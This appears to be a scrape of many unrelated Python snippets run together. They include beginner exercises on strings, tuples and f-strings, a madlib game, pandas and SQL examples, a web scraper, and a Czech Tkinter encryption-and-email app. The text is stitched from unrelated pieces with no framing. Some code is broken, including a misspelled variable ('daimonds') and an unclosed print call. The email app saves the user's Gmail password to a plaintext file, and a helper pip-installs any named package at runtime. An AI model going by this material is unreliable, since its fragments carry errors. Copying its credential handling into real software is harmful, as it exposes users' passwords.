print("Enter any of the words below and press enter to know its meaning in the fun world")
list_of_words = list(fun_world_dictionary.keys())
print(list_of_words, "\n")


word_to_be_searched = input("Enter the word here:- ")
print("searching...\n")
meaning =""

if word_to_be_searched=="Bumfuzzle":
    meaning= fun_world_dictionary['Bumfuzzle']

if word_to_be_searched=="Everywhen":
    meaning= fun_world_dictionary['Everywhen']

if word_to_be_searched=="Erf":
    meaning= fun_world_dictionary['Erf']

if word_to_be_searched=="Obelus":
    meaning= fun_world_dictionary['Obelus']

if word_to_be_searched=="Bumbershoot":
    meaning= fun_world_dictionary['Bumbershoot']


print(f"The meaning of '{word_to_be_searched}' in our world is:- {meaning}\n")
$ uvicorn main:app --reload --port 8000
import pip
import importlib
def import_with_auto_install(package):
    try:
        return importlib.import_module(package)
    except ImportError:
        pip.main(['install', package])
    return importlib.import_module(package)
# Example
if __name__ == '__main__':
    imp = import_with_auto_install('{insert module name here}')
    print(imp)
import requests
from bs4 import BeautifulSoup

def get_mining_districts():
    url = "https://www.tanzaniainvest.com/mining"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}
    
    try:
        response = requests.get(url, headers=headers, timeout=10)
        response.raise_for_status()  # Raise an exception for HTTP errors
        soup = BeautifulSoup(response.content, 'html.parser')
        
        mining_section = soup.find('span', {'id': 'District'})
        
        districts = []
        if mining_section:
            district_list = mining_section.find_next('ul')
            if district_list:
                district_items = district_list.find_all('li')
                for district_item in district_items:
                    district_name = district_item.text.strip()
                    districts.append(district_name)
                    
        return districts
    except requests.exceptions.RequestException as e:
        print("Error:", e)
        return None

if __name__ == "__main__":
    mining_districts = get_mining_districts()
    if mining_districts:
        for index, district in enumerate(mining_districts, start=1):
            print(f"{index}. {district}")
df['unique'] = ~df['value'].duplicated(keep=False)
print (df)
   value  unique
0      1    True
1      2   False
2      2   False
3      3    True
4      4   False
5      4   False
trophies = {"Music championship", "Coding Championship", \
    "Certified Associate in Python Programming (PCAP)", \
    "CompTIA Security+", \
    "MongoDB Certified Developer Associate Exam"}

print(trophies)
print(type(trophies))
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀

{'Liam': ('Yes', 'No', 'Yes'), 'Olivia': ('Yes', 'No', 'Yes'), 'Noah': ('Yes', 'Yes', 'Yes'), 'Emma': ('Yes', 'No', 'Yes')}
done = """
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
"""
print(done)

name_homework_done = {"Liam": ("Yes", "No", "Yes"),
                      "Olivia": ("Yes", "No", "Yes"),
                      "Noah": ("Yes", "Yes", "Yes"),
                      "Emma": ("Yes", "No", "Yes")}
print(name_homework_done)
homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.index("Multiplication Table of Two"))
homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.count("Multiplication Table of Two"))
homework = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis",\
"Maps of the world", "glorious past revision")

print(homework)

HW = homework
print(HW)
homework1 = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis")

homework2 = ("Maps of the world", "glorious past revision")

homework = homework1 + homework2

print(homework)
s_tup = hello <class 'str'>
s1_tup = ('hello',) <class 'tuple'>
s2_tup = hello <class 'str'>       
s3_tup = ('hello',) <class 'tuple'>
s_tup = "hello"  # This will be a string
s1_tup = "hello",  # This will be a tuple
s2_tup = ("hello")  # This will be a string
s3_tup = ("hello",)  # This will be a tuple

print(f"s_tup = {s_tup} {type(s_tup)}")
print(f"s1_tup = {s1_tup} {type(s1_tup)}")
print(f"s2_tup = {s2_tup} {type(s2_tup)}")
print(f"s3_tup = {s3_tup} {type(s3_tup)}")
___________________________________ 
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------

{'apple': [100, 10000, 1000], 'banana': [90, 9000, 900], 'spinach': [50, 4000, 800], 'pineapples': [100, 8000, 900]}
money = """
___________________________________
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------
"""
print(money)

price_profit_revenue = {"apple": [100, 10000, 1000], 
                        "banana": [90, 9000, 900], 
                        "spinach": [50, 4000, 800], 
                        "pineapples": [100, 8000, 900]}

print(price_profit_revenue)
import csv
import sqlite3

chr_ranges = (0x00, 0x09), (0x0B, 0x20), (0x7F, 0xA0)  # 'special' character ranges
trans_table = {x: " " for r in chr_ranges for x in range(*r)} # 'special'->space trans. table

def trans_field(value):
    try:
        return value.translate(trans_table)  # try to translate and return
    except AttributeError:  # if there's no translate method on the passed value...
        return value  # return the original value

connection = sqlite3.connect("your_db")  # connect to the database
cursor = connection.cursor()  # grab a database cursor
results = cursor.execute("select * from your_table")  # execute the select query
header = [c[0] for c in cursor.description]  # get the column names for our CSV header

with open("output.csv", "w", newline="") as f:  # open("output.csv", "wb") on Python 2.x
    writer = csv.writer(f, delimiter="\t")  # create a CSV writer with \t as a delimiter
    writer.writerow(header)  # write the header (column names)
    for result in results:  # iterate over the returned results
        writer.writerow(map(trans_field, result))  # process result fields and write the row
            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- someone
Enter a skill:- programming
Enter any object:- laptop
Enter a verb:- typing
Enter another verb:- searching
Enter a verb again:- creating
Enter an adjective:- fast


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A fast boy named someone had just passed his programming test
and asked his Dad if he could start using the family laptop. The Dad
said he'd make a typing with someone, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the laptop". someone thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "someone, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
someone said, "You know, Dad, I've been searching about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all creating everywhere they went?"
Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Store the variables in a list
blanks = [name, skill, object_, verb1, verb2, verb3, adjective]

#step4: Merge variable in story using an f-string
changed_story = f'''A {blanks[6]} boy named {blanks[0]} had just passed his {blanks[1]} test
and asked his Dad if he could start using the family {blanks[2]}. The Dad
said he'd make a {blanks[3]} with {blanks[0]}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {blanks[2]}". {blanks[0]} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{blanks[0]}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{blanks[0]} said, "You know, Dad, I've been {blanks[4]} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {blanks[5]} everywhere they went?"'''

#step5: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")
            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- Emma
Enter a skill:- acting
Enter any object:- sword
Enter a verb:- crying
Enter another verb:- sleeping
Enter a verb again:- dancing
Enter an adjective:- magical


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A magical boy named Emma had just passed his acting test
and asked his Dad if he could start using the family sword. The Dad
said he'd make a crying with Emma, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the sword". Emma thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "Emma, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
Emma said, "You know, Dad, I've been sleeping about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all dancing everywhere they went?"
Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Merge variable in story using an f-string
changed_story = f'''A {adjective} boy named {name} had just passed his {skill} test
and asked his Dad if he could start using the family {object_}. The Dad
said he'd make a {verb1} with {name}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {object_}". {name} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{name}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{name} said, "You know, Dad, I've been {verb2} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {verb3} everywhere they went?"'''

#step4: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")
input_string = input()
input_string = input_string.upper() #to convert all letters of
#string to upper case
print(len(input_string)) #to count the total no. of characters
str_to_list = input_string.split(",") #to convert the string to list
#so that we can join the list with full stops
print(".".join(str_to_list)) #to join the elements of the list to
#form a full stop separated string
word="standard"
ans5 = word[1:4]
print(ans5)
#Output should be tan
word="standard"
ans4 = word[:6:2]
#Another way:- word[0:6:2]
print(ans4)
#Output should be sad
wrd="Toscana"
ans3 =wrd[3:6]
print(ans3)
#Output should be can
find_sum = 'Lorem Ipsum'
ans2 = find_sum[8:]
# Another way:- find_sum[8:11]
print(ans2)
#Output should be sum
word = 'Typesetting'
ans1 = word[:3] 
#Another way:- word[0:3]
print(ans1)
#output: Typ
word="standard"
ans5 =
print(ans5)
#Output should be tan
word="standard"
ans4 =
print(ans4)
#Output should be sad
wrd="Toscana"
ans3 =
print(ans3)
#Output should be can
find_sum = 'Lorem Ipsum'
ans2 =
print(ans2)
#Output should be sum
word = 'Typesetting'
ans1 = 
print(ans1)
#Output should be Typ
str1 = "I am happy"
print(str1[0]) # I
print(str1[1]) #  (whitespace)
print(str1[2]) # a
print(str1[3]) # m
print(str1[4]) #  (whitespace)
print(str1[5]) # h
print(str1[6]) # a
print(str1[7]) # p
print(str1[8]) # p
print(str1[9]) # y
son = "John"
father = "Dad"
thing = "car"
verb = "walked"
print(f'''A teenage boy named {son} had just passed his driving test
and asked his {father} if he could start using the family {thing}.
The {father} said he'd make a deal with {son}, "You bring your 
grades up from a C to a B average, study your Bible a little, and 
get your hair cut.
Then we'll talk about the {thing}". {son} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the {father} said, "{son}, you've brought 
your grades up and I've observed that you have been studying your 
Bible, but I'm disappointed you haven't had your hair cut."
{son} said, "You know, {father}, I've been thinking about that, and
I've noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's
even strong evidence that Jesus had long hair." His {father} 
replied, "Did you also notice that they all {verb} everywhere they 
went?"''')
what ="f-string"
adjective = "fantastic"

print(f"{what} is {adjective}")
name = "Python"
age = 31
number = 284.242

print("I am %s I am %d years old. I support floating point numbers like %f." % (name, age, number))
action1 = "Sing"
action2 = "Dance"
action3 = "Be difficult"

print("Three things that python can't do:- {}, {}, and {}!!".format(action1, action2, action3))
#Keyword and position are also possible
show = "Monty Python's Flying Circus,"

print("Python is named after ", show, " a BBC comedy series from the 1970s.")
game = "PUBG"
print(game+" is a game!!")

#!!Don't forget to give a space before 'is' otherwise
#PUBGis a game!!   #This will be your ouptut
#-----GAME-----
diamonds = 10
#player won 
daimonds += 5
#player lost
diamonds -= 1
#player wants to see total no. of diamonds he has
print("The total no. of diamonds you have = ", diamonds)
import pandas as pd
import sqlalchemy as sa

engine = sa.create_engine("mssql+pyodbc://@mssqlLocal64")

def dump_tran_test_table(conn):
    print(conn.execute(sa.text("SELECT * FROM tran_test")).fetchall())

# set up test environment
with engine.begin() as conn:
    conn.exec_driver_sql("DROP TABLE IF EXISTS tran_test")
    conn.exec_driver_sql(
        "CREATE TABLE tran_test "
        "(txt varchar(10), id int primary key)"
    )
    conn.exec_driver_sql(
        "INSERT INTO tran_test (txt, id) VALUES "
        "('old_foo', 1), ('old_bar', 2)"
    )

# test
with engine.connect() as conn:
    tran = conn.begin()
    df = pd.DataFrame([("new_baz", 3)], columns=["txt", "id"])
    df.to_sql("tran_test", conn, index=False, if_exists="append")
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2), ('new_baz', 3)]
    """
    tran.rollback()
    dump_tran_test_table(conn)
    """console output:
    [('old_foo', 1), ('old_bar', 2)]
    """
>>> import pandas as pd
>>> 
>>> df = pd.DataFrame(['1/2/2020','12/31/2020','20-Jun-20'],columns=['Date'])
>>> df
         Date
0    1/2/2020
1  12/31/2020
2   20-Jun-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date'])
>>> df
        Date
0 2020-01-02
1 2020-12-31
2 2020-06-20
>>> 
>>> df['Date'] = pd.to_datetime(df['Date']).dt.strftime('%y-%m-%d')
>>> 
>>> df
       Date
0  20-01-02
1  20-12-31
2  20-06-20
>>> 


from langflow import CustomComponent

from langchain.llms.base import BaseLLM
from langchain.chains import LLMChain
from langchain import PromptTemplate
from langchain.schema import Document

import requests

class YourComponent(CustomComponent):
    display_name: str = "Custom Component"
    description: str = "Create any custom component you want!"

    def build_config(self):
        return { "url": { "multiline": True, "required": True } }

    def build(self, url: str, llm: BaseLLM, prompt: PromptTemplate) -> Document:
        response = requests.get(url)
        chain = LLMChain(llm=llm, prompt=prompt)
        result = chain.run(response.text[:300])
        return Document(page_content=str(result))
import emailvalidationio

client = emailvalidationio.Client('YOUR-API-KEY')
result = client.validate('support@emailvalidation.io')
print(result)
import requests
url = "https://api.currencyapi.com/v3/latest"
headers = {
    'apikey': 'YOUR-API-KEY'
}
response = requests.request("GET", url, headers=headers)
print(response.text
      
num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = int(num_str) + num #telling python that num_str 
#is a number and to add it to num.
print(num_result)
print(type(num_result))
num_str = "10" #it is a string because it is inside quotes
num = 10.1 #it is an float
num_result = num_str + num
print(num_result)
print(type(num_result))
num1 = 10 #it is an integer
num2 = 10.1 #it is an float
num3 = num1 + num2 #it will be converted to float to avoid data loss
print(num3) #20.1
print(type(num3)) #it got converted to float datatype
#addition
print(8+9) #17
#division
print(8/9) #0.8888888888888888
#multiplication
print(8*9) #72
#finding remainder
print(8%9) #8
#These are all examples of arithmetic operators(+,/,*,%).
print(3+1j)
a = (3+1j) # This is also a variable we will discuss them next to next post.
print(type(a))
print(10 > 9)
print(10 == 9)
print(10 < 9)
player= "won" # this line creates a variable we will discuss them later. It prints nothing.
print(player=="won")
print(1)
print(1,1)
print(type(1))
#And so on.
print("Hiii")#this is an inline comment
print(" '#' This is not a comment this will be printed")
#First
#Put a
# hash 
#before all the lines
#you want to comment

print('This must be quite obvious, anyways the next option is:')

  #Second
"""put the
multi line either between three 
double quotes or"""
'''between
three
single quotes'''
#
#This is a single line comment
print("Hello World")
#print("This too will be treated as a comment")
#This is a comment.
print("however, this will be printed") #This is also a comment
import tkinter as tk
from tkinter import messagebox
import random
import smtplib
import tkinter.messagebox as mbox
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""


def tlacitko_klik():

    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x800")
    # menu.configure(bg="light gray")
    menu.title("HiddenLanguage")


    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    # --------------------------------
    def tlacitko_klik_sif():
        import json
        # Tady se vyčistí soubory txt ze speciálního nastavení = 1) nápověda v emailu, 2) přezdívka v emailu
        with open("napoveda_uzivatel", "w") as file:
            file.write("ano")

        data = data = {
    "chce_prezdivku": False,
    "prezdivka": "prezdivka"
                    }
        with open("prezdivka.json", "w") as json_file:
            json.dump(data, json_file)


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")
            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                #oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        #"Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                #oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            mbox.showinfo("Upozornění", "Úspěšně odeslán email!")

            # Tady vyčistíme všechny hodnoty aby nemohl spamovat maily zasebou
            textbox_obsah.delete("1.0", tk.END)
            textbot_nazev_souboru.delete("1.0", tk.END)
            textbot_odesilatel.delete("1.0", tk.END)
            textbot_prijemce.delete("1.0", tk.END)
            textbot_odesilatel_heslo.delete("1.0", tk.END)

            #sifrovani_okno.destroy()
            #time.sleep(2)
            #Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()

        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)

        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

